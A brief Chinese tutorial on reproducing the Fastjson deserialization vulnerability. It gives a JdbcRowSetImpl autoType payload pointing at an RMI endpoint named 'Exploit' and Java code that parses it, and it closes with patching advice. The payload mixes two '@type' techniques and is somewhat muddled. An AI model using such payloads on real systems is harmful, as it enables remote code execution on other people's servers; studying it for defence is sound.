fastjson漏洞复现

Fastjson 是一个针对Java对象和JSON数据进行转换的Java类库，但是在处理JSON字符串时存在一些安全漏洞。其中最常见的是反序列化漏洞，攻击者可以通过构造恶意的JSON字符串来执行任意代码。下面是一个简单的Fastjson反序列化漏洞复现过程：

1. 下载 Fastjson 的 jar 包，将其加入项目的 classpath 中。

2. 构造一个恶意的 JSON 字符串，例如：

   {"@type":"java.lang.AutoCloseable","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

3. 使用 Fastjson 将 JSON 字符串反序列化为 Java 对象，并执行其中的代码：

   String json = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
   Object obj = JSON.parse(json);

这段代码会将 JSON 字符串反序列化为一个 Java 对象，并执行其中的任意代码，包括远程代码执行等恶意行为。

需要注意的是，Fastjson 的反序列化漏洞并不是固定的，具体的漏洞形式与使用的 Fastjson 版本有关。因此，在使用 Fastjson 时，需要及时更新到最新版本以避免安全漏洞。同时，不要在应用程序中接受来自用户输入的 JSON 数据，以免受到攻击。